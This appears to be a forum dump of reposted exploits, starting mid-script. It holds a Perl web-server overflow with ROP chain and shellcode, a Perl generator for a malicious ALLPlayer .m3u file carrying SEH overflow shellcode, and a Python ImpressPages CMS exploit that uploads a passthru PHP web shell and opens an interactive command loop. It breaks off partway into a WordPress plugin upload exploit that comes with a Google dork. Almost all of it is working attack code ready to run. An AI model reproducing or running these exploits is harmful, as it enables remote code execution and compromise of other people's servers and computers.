#       $req = "HEAD /$uri HTTP/1.1\r\nHost: $target\r\n"
 #                  ."Connection: close\r\n\r\n";
#       print $sock $req;
#       close($sock);
  
        $sock = IO::Socket::INET->new(PeerAddr => $target,
                                  PeerPort => $targetport,
                                  Proto    => 'tcp') || {goto again0_2};
        setsockopt($sock, SOL_SOCKET, SO_SNDBUF, 60000);
        $req = "HEAD /$uri HTTP/1.1\r\nHost: $target\r\n"
                   ."Connection: keep-alive\r\n"
                   ."Transfer-Encoding:chunked\r\n\r\n";
        $req .= "0" x (1024-length($req)-16) . "8000000000003770";
        $stack = pack("V", 0xc0debabe);
        print $sock $req;
        send($sock, "A" x ($align-1024) . $stack, MSG_OOB);
        $l = read($sock, $buffer, 0x10);
        twinkle();
        close($sock);
        if ($l <= 0) {
            print " % SEGV %\n";
            if ($verifyalign == 0) {
                print "Verifying align\n";
                $verifyalign = $align;
                goto yes;
            }
  
            if (($align > $verifyalign + 4) || ($align < $verifyalign - 4))  {
                print "\\\\ Align and verfied align do not match\n";
                exit;
            }
  
            if ($verifyalign < $align) {
                $align = $verifyalign;
            }
  
            goto begin;
        }
        print "\r\r\r\r";
  
        if ($buffer =~ /HTTP\/1.1/) {
            next;
        }
        close($sock);
}
}
print "\n\\\\ could not find align value. bailing out";
exit;
###find write offset
begin:
print "Finding write offset, determining exact align\n";
$align2 = $align;
$ok = 0;
#for ($k=0x8049d30;$k<=0x0804FFFF;$k+=4) {
for ($k=0x08049800;$k<=0x0804FFFF;$k+=4) {
#for ($k=0x0804dc00;$k<=0x0804FFFF;$k+=4) { 
for ($alignplus=0;$alignplus<7;$alignplus++) {
debug:
for ($j=0;$j<10;$j++) {
        if (pack("V", $k) =~ /\x20/) {
            next;
        }
        $align = $align2 + $alignplus;
        printf("testing 0x%08x, %d align ",$k,$align);
again1:
#       if ($ok==0) {
#       $sock = IO::Socket::INET->new(PeerAddr => $target,
 #                                 PeerPort => $targetport,
  #                                Proto    => 'tcp') || {goto again1};
#       setsockopt($sock, SOL_SOCKET, SO_SNDBUF, 60000);
#       $req = "HEAD /$uri HTTP/1.1\r\nHost: $target\r\n"
 #                  ."Connection: close\r\n\r\n";
#       print $sock $req;
#       close($sock);
#       }
        $sock = IO::Socket::INET->new(PeerAddr => $target,
                                  PeerPort => $targetport,
                                  Proto    => 'tcp') || {goto again1};
        setsockopt($sock, SOL_SOCKET, SO_SNDBUF, 60000);
        $req = "HEAD /$uri HTTP/1.1\r\nHost: $target\r\n"
                   ."Connection: keep-alive\r\n"
                   ."Transfer-Encoding:chunked\r\n\r\n";
        $req .= "0" x (1024-length($req)-16) . "8000000000003770";
#       $k = 0x8049e30; #XXX
        $stack = pack("V", $k) # write plt assumed,eg 0x804ab6c
                . "ZZZZ" # crash dummy
                . "\x03\x00\x00\x00" # write file descriptor
                . pack("V", $k-0x1000) # write buffer
                . "\xff\xff\xf0\x00"; # write size
        #$p = <stdin>;
        print $sock $req;
        if ($ok == 0) {
        send($sock, "A" x ($align-1024) . $stack . "A" x 1000, MSG_OOB);
        } else {
        send($sock, "A" x ($align-1024) . $stack . "A" x 500, MSG_OOB);
        }
        $l = read($sock, $buffer, 0x5000);
        twinkle();
        close($sock);
#0x8049c50
  
        if ($buffer =~ /HTTP\/1.1/) {
            if ($ok == 0) {
                print "\r\r\r\r";
                next;
            } else {
                goto again1;
            }
        }
  
        if ($ok == 1 && length($buffer) < 0x2000) {
            goto again1;
        }
  
        if (length($buffer) > 350) {
            if ($ok == 0) {
                $ok = 1;
                print " % SURVIVED %\n";
                print("Extracting memory ");
                goto again1;
            }          
            print "\nbin search done, ";
            printf("read %d bytes\n", $l);
            goto hit;
        }                 
        print "\r\r\r\r";
}
}
}  
print "\n\\\\unable to get write offset\n";
exit;
hit:
printf("exact align found %d\n", $align);
print "Finding exact library addresses\n";
$write = $k;
$writeless = $write-0x1000;
### find offsets for mmap64, memset and ioctl
$mmap64 = "";
$ioctl = "";
$memset = "";
$mmap64_prefix =
"\x55\x53\x56\x57\x8b\x54\x24\x28"
."\x8b\x4c\x24\x2c\xf7\xc2\xff\x0f"
."\x00\x00\x75";
$ioctl_prefix =
"\x53\x8b\x54\x24\x10\x8b\x4c\x24"
."\x0c\x8b\x5c\x24\x08\xb8\x36\x00"
."\x00\x00";
$memset_prefix =
"\x53\x8b\x4c\x24\x10\x0f\xb6\x44"
."\x24\x0c\x88\xc4\x89\xc2\xc1\xe0"
."\x10\x09\xd0\x8b\x54\x24\x08\x83";
$memset_prefix2 =
"\xfc\x57\x8b\x54\x24\x08\x8b\x4c"
."\x24\x10\x0f\xb6\x44\x24\x0c\xe3"
."\x2c\x89\xd7\x83\xe2\x03\x74\x11";
$memset_prefix3 =
"\x57\x8b\x7c\x24\x08\x8b\x54\x24"
."\x10\x8a\x44\x24\x0c\x88\xc4\x89"
."\xc1\xc1\xe0\x10\x66\x89\xc8\xfc";
$memset_prefix4 =
"\x55\x89\xe5\x57\x56\x83\xec\x04".
"\x8b\x75\x08\x0f\xb6\x55\x0c\x8b".
"\x4d\x10\x89\xf7\x89\xd0\xfc\x83";
  
$buffer2 = $buffer;
$buffer3 = $buffer;
plt_again:
$buffer2 = $buffer3;
for(;;) {
    $i = index($buffer2, "\xff\x25");
    if ($i >= 0) {
        if (($j = index($buffer3, substr($buffer2, $i, 50))) <= 0) {
            $buffer2 = substr($buffer2, $i+2);
            next;
        }
        $buffer2 = substr($buffer2, $i+2);
        $address = $writeless + $j;
        ### delve into library function
        printf "trying plt 0x%08x, ", ($address+2);
again2:
        $sock = IO::Socket::INET->new(PeerAddr => $target,
                                  PeerPort => $targetport,
                                  Proto    => 'tcp') || {goto again2};
                setsockopt($sock, SOL_SOCKET, SO_SNDBUF, 60000);
                $req = "HEAD /$uri HTTP/1.1\r\nHost: $target\r\n"
                   ."Connection: keep-alive\r\n"
                   ."Transfer-Encoding:chunked\r\n\r\n";
                $req .= "0" x (1024-length($req)-16) . "8000000000003770";
                $stack = pack("V", $write) # write plt
                . "ZZZZ" # crash dummy
                . "\x03\x00\x00\x00" # write file descriptor
                . pack("V", $address+2) # write buffer
                . "\x00\x03\x00\x00"; # write size
                print $sock $req;
        send($sock, "A" x ($align-1024) . $stack . "A" x 1000, MSG_OOB);       
  
                $l = read($sock, $buffer, 0x300);
                if ($buffer =~ /HTTP\/1.1/) {
                        goto again2;
                }
                if ($l == 0x300) {
            $gotentry = unpack("V", substr($buffer,0,4));
            if ($gotentry == 0) {
            print "\r\r\r\r";
            next;
            }
                        close($sock);
                } else {
            close($sock);
            goto again2;
        }
                  
        printf "got 0x%08x, ", $gotentry;
again3:
        $sock = IO::Socket::INET->new(PeerAddr => $target,
                                  PeerPort => $targetport,
                                  Proto    => 'tcp') || {goto again3};
  
                setsockopt($sock, SOL_SOCKET, SO_SNDBUF, 60000);
                $req = "HEAD /$uri HTTP/1.1\r\nHost: $target\r\n"
                   ."Connection: keep-alive\r\n"
                   ."Transfer-Encoding:chunked\r\n\r\n";
                $req .= "0" x (1024-length($req)-16) . "8000000000003770";
        $stack = pack("V", $write) # write plt
                . "ZZZZ" # crash dummy
                . "\x03\x00\x00\x00" # write file descriptor
                . pack("V", $gotentry) # write buffer
                . "\x00\x03\x00\x00"; # write size
                print $sock $req;
        send($sock, "A" x ($align-1024) . $stack . "A" x 1000, MSG_OOB);       
  
                $l = read($sock, $buffer, 0x300);
        close($sock);
                if ($buffer =~ /HTTP\/1.1/) {
            goto again3;
                }
                if ($l == 0x300) {
            $function = unpack("V", substr($buffer,0,4));
                } else {
            goto again3;
        }
        if ($function == 0) {
        print "\r\r\r\r";
        next;
        }
  
        printf "function 0x%08x ", $function;
again4:
        $sock = IO::Socket::INET->new(PeerAddr => $target,
                                  PeerPort => $targetport,
                                  Proto    => 'tcp') || {goto again4};
  
                setsockopt($sock, SOL_SOCKET, SO_SNDBUF, 60000);
                $req = "HEAD /$uri HTTP/1.1\r\nHost: $target\r\n"
                   ."Connection: keep-alive\r\n"
                   ."Transfer-Encoding:chunked\r\n\r\n";
                $req .= "0" x (1024-length($req)-16) . "8000000000003770";
        $stack = pack("V", $write) # write plt
                . "ZZZZ" # crash dummy
                . "\x03\x00\x00\x00" # write file descriptor
                . pack("V", $function) # write buffer
                . "\xff\xff\xf0\x00"; # write size
                print $sock $req;
        send($sock, "A" x ($align-1024) . $stack . "A" x 1000, MSG_OOB);       
  
                #$p = <stdin>;
                $l = read($sock, $buffer, 0x500);
                close($sock);
                if ($buffer =~ /HTTP\/1.1/) {
            goto again4;
                }
                if ($l != 0x500) {
            goto again4;
        }
        ###    
          
        if (substr($buffer, 0, length($mmap64_prefix)) eq
            $mmap64_prefix) {
            $mmap64 = $address;
            printf(" %% FOUND exact mmap64 0x%08x %%\n", $mmap64);
        }
        if ((substr($buffer, 0, length($memset_prefix)) eq
            $memset_prefix) or
            (substr($buffer, 0, length($memset_prefix2)) eq
             $memset_prefix2) or
            (substr($buffer, 0, length($memset_prefix3)) eq
             $memset_prefix3) or
            (substr($buffer, 0, length($memset_prefix4)) eq
             $memset_prefix4)) {
            $memset = $address;
            printf(" %% FOUND exact memset 0x%08x %%\n", $memset);
        }
        if (substr($buffer, 0, length($ioctl_prefix)) eq
            $ioctl_prefix) {
            $ioctl = $address;
            printf(" %% FOUND exact ioctl 0x%08x %%\n", $ioctl);
        }
          
        if (($mmap64 ne "") and ($memset ne "") and ($ioctl ne "")) {      
            goto gotplt;
        }
        print "\r\r\r\r";
    } else {
        last;
    }
}
print "\nFinding exact library addresses\n";
goto plt_again;
gotplt:
print "Found library offsets, determining mnemonics\n";
### find pop pop pop ret
### to set socket blocking
for ($k=$write + 0x5000;;$k++) {
        printf("trying 0x%08x ",$k);
again5:
        $sock = IO::Socket::INET->new(PeerAddr => $target,
                                  PeerPort => $targetport,
                                  Proto    => 'tcp') || {goto again5};
                setsockopt($sock, SOL_SOCKET, SO_SNDBUF, 60000);
                $req = "HEAD /$uri HTTP/1.1\r\nHost: $target\r\n"
                   ."Connection: keep-alive\r\n"
                   ."Transfer-Encoding:chunked\r\n\r\n";
                $req .= "0" x (1024-length($req)-16) . "8000000000003770";
                $stack = pack("V", $ioctl)
                . pack("V", $k) # pop pop pop ret assumed
                . "\x03\x00\x00\x00"
                . "\x21\x54\x00\x00"
                . "\x08\x80\x04\x08" # null byte
                . pack("V", $write) # write plt found
                . "ZZZZ" # crash dummy
                . "\x03\x00\x00\x00" # write file descriptor
                . pack("V", $write) # write buffer
                . "\xff\xff\x0f\x00"; # write size
                print $sock $req;
        send($sock, "A" x ($align-1024) . $stack . "A" x 1000, MSG_OOB);       
  
                #$p = <stdin>;
        $l = read($sock, $buffer, 0xfffff);
        close($sock);
        twinkle();
        if ($buffer =~ /HTTP\/1.1/) {
                        again5;
                }
  
        if ($l  > 0xfff) {
            print " % SURVIVED %\n";
            close($sock);
            goto hit2;
        }
        print "\r\r\r\r";
                next;
}
hit2:
###send attack buffer
###find largepopret
@matches = $buffer =~ /(\x83\xc4\x20[\x58\x5b\x59\x5a\x5e\x5f\x5d][\x58\x5b\x59\x5a\x5e\x5f\x5d][\x58\x5b\x59\x5a\x5e\x5f\x5d]\xc3)/g;
foreach $m (@matches) {
    $i = index($buffer, $m);
    twinkle();
    print "\r";
    if ($i >= 0) {
        $__largepopret = $write + $i;
        printf("exact large pop ret 0x%08x\n", $__largepopret);
        goto hit3;
    }
}
print "\\\\ large pop ret not found\n";
exit;
hit3:
###find poppoppopret
@matches = $buffer =~ /([\x58\x5b\x59\x5a\x5e\x5f\x5d][\x58\x5b\x59\x5a\x5e\x5f\x5d][\x58\x5b\x59\x5a\x5e\x5f\x5d]\xc3)/g;
foreach $m (@matches) {
    $i = index($buffer, $m);
    if ($i >= 0) {
        $__poppoppopret = $write + $i;
        printf("exact pop x3 ret 0x%08x\n", $__poppoppopret);
        goto attack;
    }
}
print "\\\\ poppoppopret not found\n";
exit;
attack:          
$largepopret = pack("V", $__largepopret);
$popblock = "\x00\x00\x00\x00"
       ."\x00\x00\x00\x00"
       ."\x00\x00\x00\x00"
       ."\x00\x00\x00\x00";
$popret = pack("V", $__poppoppopret+2);
$poppoppopret = pack("V", $__poppoppopret);
$pop3ret = $__poppoppopret;
  
$copycode = "\xfc\x8b\xf4\xbf\x00\x01\x00\x10\xb9\x00\x02\x00\x00\xf3\xa4"
           ."\xeb\xff";
$memsetcode = "";
$copyaddress = 0x10000000;
for ($i=0;$i<length($copycode);$i++) {
    $byte = substr($copycode, $i, 1);
    $memsetcode .= pack("V", $memset)
                 . pack("V", $pop3ret)
                 . pack("V", $copyaddress)
                 . $byte . "\x00\x00\x00"
                 . "\x01\x00\x00\x00";
    $copyaddress++;
}
for ($q=0;$q<10;$q++) {
print "bin search done ";
sleep(1);
twinkle();
print "\r"
}
print "\n";
print "See reverse handler for success\n";
again6:
$sock = IO::Socket::INET->new(PeerAddr => $target,
                          PeerPort => $targetport,
                          Proto    => 'tcp') || {goto again6};
setsockopt($sock, SOL_SOCKET, SO_SNDBUF, 60000);
$req = "HEAD /$uri HTTP/1.1\r\nHost: $target\r\n"
      ."Connection: close\r\n"
      ."Transfer-Encoding:chunked\r\n\r\n";
$req .= "0" x (1024-length($req)-16) . "8000000000003770";
$stack = pack("V", $mmap64)
    . $largepopret
    ."\x00\x00\x00\x10" # mmap start
    ."\x00\x10\x00\x00" # mmap size
    ."\x07\x00\x00\x00" # mmap prot
    ."\x32\x00\x00\x00" # mmap flags
    ."\xff\xff\xff\xff" # mmap fd
    ."\x00\x00\x00\x00" # mmap offset
    ."\x00\x00\x00\x00" # mmap offset
    . $popblock
    . $memsetcode
    . "\x00\x00\x00\x10" # JUMP TO 0x10000000 (rwxp addr)
    . "\x90" x 100 . $lnxcbsc;
#$p = <stdin>;
print $sock $req;
send($sock, "A" x ($align-1024) . $stack . "A" x 1000, MSG_OOB);       
close($sock);
  
goto again6; # XXX
my $current = 0;
sub twinkle {
$cursors[0] = "|";
$cursors[1] = "/";
$cursors[2] = "-";
$cursors[3] = "\\";
print "$cursors[$current++]\b";
if ($current > 3) {
    $current = 0;
}
}
 
# 5C382C0B097DC9B2   1337day.com [2013-07-12]   0155033BDE2A1E6C #
ALLPlayer 5.6.2 SEH Buffer Overflow
ID: 67686ba3b4103b69df379d54
Thread ID: 24807
Created: 2013-11-14T16:13:25+0000
Last Post: 2013-11-14T16:13:25+0000
Author: DarckSol
Prefix: Local
Replies: 0 Views: 1K

Code:Copy to clipboard

#!/usr/bin/perl
 
###############################################################################
# Exploit Title: ALLPlayer 5.6.2 (.m3u) - SEH Buffer Overflow (Unicode)
# Date: 10-22-2013
# Exploit Author: Mike Czumak (T_v3rn1x) -- @SecuritySift
# Vulnerable Software: ALLPlayer 5.6.2
# Software Link: http://www.allplayer.org/download/allplayer
# Version: 5.6.2
# Tested On: Windows XP SP3
#
# Credit to metacom for finding bug and publishing original POC
# - http://www.exploit-db.com/exploits/28855/
# Shouts to corelanc0d3r and b33f for some great unicode exploit tutorials
#
# Due to unicode conversion this is a venetian shellcode exploit
# To exploit simply open the created m3u file
##############################################################################
 
my $buffsize = 5000; # sets buffer size for consistent sized payload
my $junk = "http://" . "\x41" x 303; # offset to seh
my $nseh = "\x61\x62"; # overwrite next seh with popad (populates all registers) + nop
my $seh = "\x11\x4d"; # overwrite seh with unicode friendly pop pop ret
              # 0x004d0011 : pop ecx # pop ebp # ret  | startnull,unicode,ascii {PAGE_EXECUTE_READ} [ALLPlayer.exe]
              # ASLR: False, Rebase: False, SafeSEH: False, OS: False, v5.6.2.0 (C:\Program Files\ALLPlayer\ALLPlayer.exe)
 
# unicode venetian alignment
my $venalign = "\x53"; # push ebx; ebx is the register closest to our shellcode following the popad
$venalign = $venalign . "\x71"; # venetian pad/align
$venalign = $venalign . "\x58"; # pop eax; put ebx into eax and modify to jump to our shellcode (100 bytes)
$venalign = $venalign . "\x6e"; # venetian pad/align
$venalign = $venalign . "\x05\x14\x11"; # add eax,0x11011400
$venalign = $venalign . "\x6e"; # venetian pad/align
$venalign = $venalign . "\x2d\x13\x11"; # add eax,0x11011300
$venalign = $venalign . "\x6e"; # venetian pad/align
$venalign = $venalign . "\x50"; # push eax
$venalign = $venalign . "\x6d"; # venetian pad/align
$venalign = $venalign . "\xc3"; # ret
 
my $nops = "\x71" x 109; # some unicode friendly filler before the shellcode
 
# Calc.exe payload
# msfpayload windows/exec CMD=calc.exe R
# alpha2 unicode/uppercase
my $shell = "PPYAIAIAIAIAQATAXAZAPA3QADAZA".
"BARALAYAIAQAIAQAPA5AAAPAZ1AI1AIAIAJ11AIAIAXA".
"58AAPAZABABQI1AIQIAIQI1111AIAJQI1AYAZBABABAB".
"AB30APB944JBKLK8U9M0M0KPS0U99UNQ8RS44KPR004K".
"22LLDKR2MD4KCBMXLOGG0JO6NQKOP1WPVLOLQQCLM2NL".
"MPGQ8OLMM197K2ZP22B7TK0RLPTK12OLM1Z04KOPBX55".
"Y0D4OZKQXP0P4KOXMHTKR8MPKQJ3ISOL19TKNTTKM18V".
"NQKONQ90FLGQ8OLMKQY7NXK0T5L4M33MKHOKSMND45JB".
"R84K0XMTKQHSBFTKLL0KTK28MLM18S4KKT4KKQXPSYOT".
"NDMTQKQK311IQJPQKOYPQHQOPZTKLRZKSVQM2JKQTMSU".
"89KPKPKP0PQX014K2O4GKOHU7KIPMMNJLJQXEVDU7MEM".
"KOHUOLKVCLLJSPKKIPT5LEGKQ7N33BRO1ZKP23KOYERC".
"QQ2LRCM0LJA";
  
my $sploit = $junk.$nseh.$seh.$venalign.$nops.$shell; # assemble the exploit portion of the buffer
my $fill = "\x71" x ($buffsize - length($sploit)); # fill remainder of buffer with junk
my $buffer = $sploit.$fill; # assemble the final buffer
 
# write the exploit buffer to file
my $file = "allplayer_unicodeseh.m3u";
open(FILE, ">$file");
print FILE $buffer;
close(FILE);
print "Exploit file [" . $file . "] created\n";
print "Buffer size: " . length($buffer) . "\n";
ImpressPages CMS v3.6 manage()
ID: 67686ba3b4103b69df379d55
Thread ID: 24778
Created: 2013-11-05T06:15:34+0000
Last Post: 2013-11-05T06:15:34+0000
Author: DarckSol
Prefix: Web
Replies: 0 Views: 1K

Code:Copy to clipboard

#!/usr/bin/python
#
#
# ImpressPages CMS v3.6 manage() Function Remote Code Execution Exploit
#
#
# Vendor: ImpressPages UAB
# Product web page: http://www.impresspages.org
# Affected version: 3.6, 3.5 and 3.1
#
# Summary: ImpressPages CMS is an open source web content management system with
# revolutionary drag & drop interface.
#
# Desc: The vulnerability is caused due to the improper verification of uploaded
# files in '/ip_cms/modules/developer/config_exp_imp/manager.php' script thru the
# 'manage()' function (@line 65) when importing a configuration file. This can be
# exploited to execute arbitrary PHP code by uploading a malicious PHP script file
# that will be stored in '/file/tmp' directory after successful injection.
# Permission Developer[Modules exp/imp] is required (parameter 'i_n_2[361]' = on)
# for successful exploitation.
#
# Tested on: Microsoft Windows 7 Ultimate SP1 (EN)
#            GNU/Linux CentOS 6.3 (Final)
#            Apache 2.4.2 (Win32) / Apache2
#            PHP 5.4.7 / PHP 5.3.21
#            MySQL 5.5.25a
#
#
# Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
#
# Zero Science Lab - http://www.zeroscience.mk
# Macedonian Information Security Research And Development Laboratory
#
#
# Advisory ID: ZSL-2013-5159
# Advisory URL: http://zeroscience.mk/en/vulnerabilities/ZSL-2013-5159.php
#
# Vendor: http://www.impresspages.org/blog/impresspages-cms-3-7-is-mobile-as-never-before/
#
#
# 12.10.2013
#
  
ver = '1.0.0.000251'
  
import itertools, mimetools, mimetypes
import cookielib, urllib, urllib2, sys
import logging, os, time, datetime, re
  
from colorama import Fore, Back, Style, init
from cStringIO import StringIO
from urllib2 import URLError
  
init()
  
if os.name == 'posix': os.system('clear')
if os.name == 'nt': os.system('cls')
piton = os.path.basename(sys.argv[0])
  
def bannerche():
    print """
 @---------------------------------------------------------------@
 |                                                               |
 |                 ImpressPages CMS 3.6 RCE 0day                 |
 |                                                               |
 |                                                               |
 |                       ID: ZSL-2013-5159                       |
 |                                                               |
 |              Copyleft (c) 2013, Zero Science Lab              |
 |                                                               |
 @---------------------------------------------------------------@
          """
    if len(sys.argv) < 3:
        print '\n\x20\x20[*] '+Fore.YELLOW+'Usage: '+Fore.RESET+piton+' <hostname> <path>\n'
        print '\x20\x20[*] '+Fore.CYAN+'Example: '+Fore.RESET+piton+' zeroscience.mk impresspages\n'
        sys.exit()
  
bannerche()
  
print '\n\x20\x20[*] Initialising exploit '+'.'*34+Fore.GREEN+'[OK]'+Fore.RESET
  
host = sys.argv[1]
path = sys.argv[2]
  
cj = cookielib.CookieJar()
opener = urllib2.build_opener(urllib2.HTTPCookieProcessor(cj))
  
try:
    opener.open('http://'+host+'/'+path+'/admin.php')
except urllib2.HTTPError, errorzio:
    if errorzio.code == 404:
        print '\x20\x20[*] Checking path '+'.'*41+Fore.RED+'[ER]'+Fore.RESET
        print '\x20\x20[*] '+Fore.YELLOW+'Check your path entry.'+Fore.RESET
        sys.exit()
except URLError, errorziocvaj:
    if errorziocvaj.reason:
        print '\x20\x20[*] Checking host '+'.'*41+Fore.RED+'[ER]'+Fore.RESET
        print '\x20\x20[*] '+Fore.YELLOW+'Check your hostname entry.'+Fore.RESET
        sys.exit()
  
print '\x20\x20[*] Checking host and path '+'.'*32+Fore.GREEN+'[OK]'+Fore.RESET
token_chk = opener.open('http://'+host+'/'+path+'/admin.php')
response = token_chk.read()
match = re.search('(?<=security_token=)\w+', response)
sectoken = match.group(0)
  
print '\x20\x20[*] Login please.'
username = raw_input('\x20\x20[*] Enter username: ')
password = raw_input('\x20\x20[*] Enter password: ')
  
login_data = urllib.urlencode({
                            'f_name' : username,
                            'f_pass' : password,
                            'action' : 'login'
                            })
  
login = opener.open('http://'+host+'/'+path+'/admin.php?action=login&security_token='+sectoken, login_data)
auth = login.read()
for session in cj:
    sessid = session.name
  
ses_chk = re.search(r'%s=\w+' % sessid , str(cj))
cookie = ses_chk.group(0)
  
print '\x20\x20[*] Mapping Session ID '+'.'*36+Fore.GREEN+'[OK]'+Fore.RESET
print '\x20\x20[*] Cookie: '+Fore.YELLOW+cookie+Fore.RESET+'\x20'+'.'*(46 - len(cookie))+Fore.GREEN+'[OK]'+Fore.RESET
print '\x20\x20[*] Mapping security token '+'.'*32+Fore.GREEN+'[OK]'+Fore.RESET
print '\x20\x20[*] Token: '+Fore.YELLOW+sectoken+Fore.RESET+'\x20'+'.'*15+Fore.GREEN+'[OK]'+Fore.RESET
  
if re.search(r'Incorrect name or password', auth):
    print '\x20\x20[*] Faulty credentials given '+'.'*30+Fore.RED+'[ER]'+Fore.RESET
    sys.exit()
elif re.search(r'Your login suspended for one hour', auth):
    print '\x20\x20[*] Your username is suspended for 1 hour '+'.'*17+Fore.RED+'[ER]'+Fore.RESET
    sys.exit()
else:
    print '\x20\x20[*] Authenticated '+'.'*41+Fore.GREEN+'[OK]'+Fore.RESET
    print '\x20\x20[*] Sending payload '+'.'*39+Fore.GREEN+'[OK]'+Fore.RESET
  
class MultiPartForm(object):
  
    def __init__(self):
        self.form_fields = []
        self.files = []
        self.boundary = mimetools.choose_boundary()
        return
      
    def get_content_type(self):
        return 'multipart/form-data; boundary=%s' % self.boundary
  
    def add_field(self, name, value):
        self.form_fields.append((name, value))
        return
  
    def add_file(self, fieldname, filename, fileHandle, mimetype=None):
        body = fileHandle.read()
        if mimetype is None:
            mimetype = mimetypes.guess_type(filename)[0] or 'application/octet-stream'
        self.files.append((fieldname, filename, mimetype, body))
        return
      
    def __str__(self):
  
        parts = []
        part_boundary = '--' + self.boundary
          
        parts.extend(
            [ part_boundary,
              'Content-Disposition: form-data; name="%s"' % name,
              '',
              value,
            ]
            for name, value in self.form_fields
            )
          
        parts.extend(
            [ part_boundary,
              'Content-Disposition: file; name="%s"; filename="%s"' % \
                 (field_name, filename),
              'Content-Type: %s' % content_type,
              '',
              body,
            ]
            for field_name, filename, content_type, body in self.files
            )
          
        flattened = list(itertools.chain(*parts))
        flattened.append('--' + self.boundary + '--')
        flattened.append('')
        return '\r\n'.join(flattened)
  
if __name__ == '__main__':
  
    form = MultiPartForm()
    form.add_field('spec_security_code', '12345678901234567890123456789012')
    form.add_field('spec_rand_name', 'lib_php_form_standard_1_')
      
    form.add_file('config', 'liwo.php',
                  fileHandle=StringIO('<?php echo \"<pre>\"; passthru($_GET[\'cmd\']); echo \"</pre>\"; ?>'))
  
    request = urllib2.Request('http://'+host+'/'+path+'/admin.php?module_id=361&action=import&security_token='+sectoken)
    request.add_header('User-agent', 'joxypoxy 1.0')
    body = str(form)
    request.add_header('Content-type', form.get_content_type())
    request.add_header('Cookie', cookie)
    request.add_header('Content-length', len(body))
    request.add_data(body)
    request.get_data()
    urllib2.urlopen(request).read()
  
print '\x20\x20[*] Starting logging service '+'.'*30+Fore.GREEN+'[OK]'+Fore.RESET
print '\x20\x20[*] Spawning shell '+'.'*40+Fore.GREEN+'[OK]'+Fore.RESET
time.sleep(1)
furl = '/admin.php?module_id=361&action=import_uploaded&security_token='
  
def osys():
    cmd = 'uname'
    execute = opener.open('http://'+host+'/'+path+furl+sectoken+'&cmd='+urllib.quote(cmd))
    reverse = execute.read()
    if re.search(r'Linux', reverse, re.IGNORECASE):
        cmd = 'pwd'
        print Style.DIM+Fore.WHITE
        print '\n\x20\x20[*] Coins: 1'
        print '\x20\x20[*] Detected platform: Linux'
        print '\x20\x20[*] Type \'exit\' to leave'
        print '\x20\x20[*] Choose your CMDs wisely'
        print '\x20\x20[*] Your current location:'
        print Style.RESET_ALL+Fore.RESET
        return cmd
    else:
        cmd = 'cd'
        print Style.DIM+Fore.WHITE
        print '\n\x20\x20[*] Coins: 1'
        print '\x20\x20[*] Detected platform: Windows'
        print '\x20\x20[*] Type \'exit\' to leave'
        print '\x20\x20[*] Choose your CMDs wisely'
        print '\x20\x20[*] Your current location:'
        print Style.RESET_ALL+Fore.RESET
        return cmd
  
print
  
today = datetime.date.today()
fname = 'impress-'+today.strftime('%d-%b-%Y')+time.strftime('_%H%M%S')+'.log'
logging.basicConfig(filename=fname,level=logging.DEBUG)
  
logging.info(' '+'+'*75)
logging.info(' +')
logging.info(' + Log generated on: '+today.strftime('%A, %d-%b-%Y')+time.strftime(', %H:%M:%S'))
logging.info(' + Title: ImpressPages CMS 3.6 manage() Function Remote Code Execution')
logging.info(' + Python program executed: '+sys.argv[0])
logging.info(' + Version: '+ver)
logging.info(' + Full query: \''+piton+'\x20'+host+'\x20'+path+'\'')
logging.info(' + Username input: '+username)
logging.info(' + Password input: '+password)
logging.info(' + Vector: '+'http://'+host+'/'+path+furl+sectoken)
logging.info(' +')
logging.info(' + Advisory ID: ZSL-2013-5159')
logging.info(' + Zero Science Lab - http://www.zeroscience.mk')
logging.info(' +')
logging.info(' '+'+'*75+'\n')
  
print Style.DIM+Fore.CYAN+'\x20\x20[*] Press [ ENTER ] to INSERT COIN!\n'+Style.RESET_ALL+Fore.RESET
while True:
    try:
        cmd = raw_input(Fore.RED+'shell@'+host+':~# '+Fore.RESET)
        if cmd.strip() == '':
            cmd = osys()
  
        execute = opener.open('http://'+host+'/'+path+furl+sectoken+'&cmd='+urllib.quote(cmd))
        reverse = execute.read()
        pattern = re.compile(r'<pre>(.*?)</pre>',re.S|re.M)
  
        print Style.BRIGHT+Fore.CYAN
        cmdout = pattern.match(reverse)
        print cmdout.groups()[0].strip()
        print Style.RESET_ALL+Fore.RESET
  
        if cmd.strip() == 'exit':
            break
  
        logging.info('Command executed: '+cmd+'\n\nOutput: \n'+'='*8+'\n\n'+cmdout.groups()[0].strip()+'\n\n'+'-'*60+'\n')
    except Exception:
        break
  
logging.warning('\n\n END OF LOG')
print '\x20\x20[*] Carpe commentarius '+'.'*36+Fore.GREEN+'[OK]'+Fore.RESET
print '\x20\x20[*] File '+Fore.YELLOW+fname+Fore.RESET+'\x20'+'.'*19+Fore.GREEN+'[OK]'+Fore.RESET
sys.exit()
 
# A8B2AA5EC2F244C8   1337day.com [2013-11-05]   CEEF57BF8409ABCA #
WordPress plugins wp-seo-spy-google
ID: 67686ba3b4103b69df379d56
Thread ID: 24744
Created: 2013-10-22T21:00:44+0000
Last Post: 2013-10-22T21:00:44+0000
Author: DarckSol
Prefix: Web
Replies: 0 Views: 1K

#######################################################

Exploit Title: WordPress plugins wp-seo-spy-google Remote Code Execution

Google Dork: inurl:/wp-content/plugins/wp-seo-spy-google/

Exploit Author: Index Php

Tested on: Windows, PHP 5.2

#######################################################

#exploit

Click to expand...

Code:Copy to clipboard

<form method='POST'>
<input type='text' name='name' value='ina.php'>
<input type='submit' value='Hajar' name='hajar'>

<textarea name='situs' cols='45' rows='15'>http://target.com/</textarea>
</form>
<?
        @set_time_limit(0);
        $site = explode("\r\n", $_POST['situs']);
        $namafile = $_POST['name'];
        $path = array('/wp-content/plugins/wp-seo-spy-google/ofc/php-ofc-library/ofc_upload_image.php');
         
        $nama = array("/wp-content/plugins/wp-seo-spy-google/ofc/tmp-upload-images/");
         
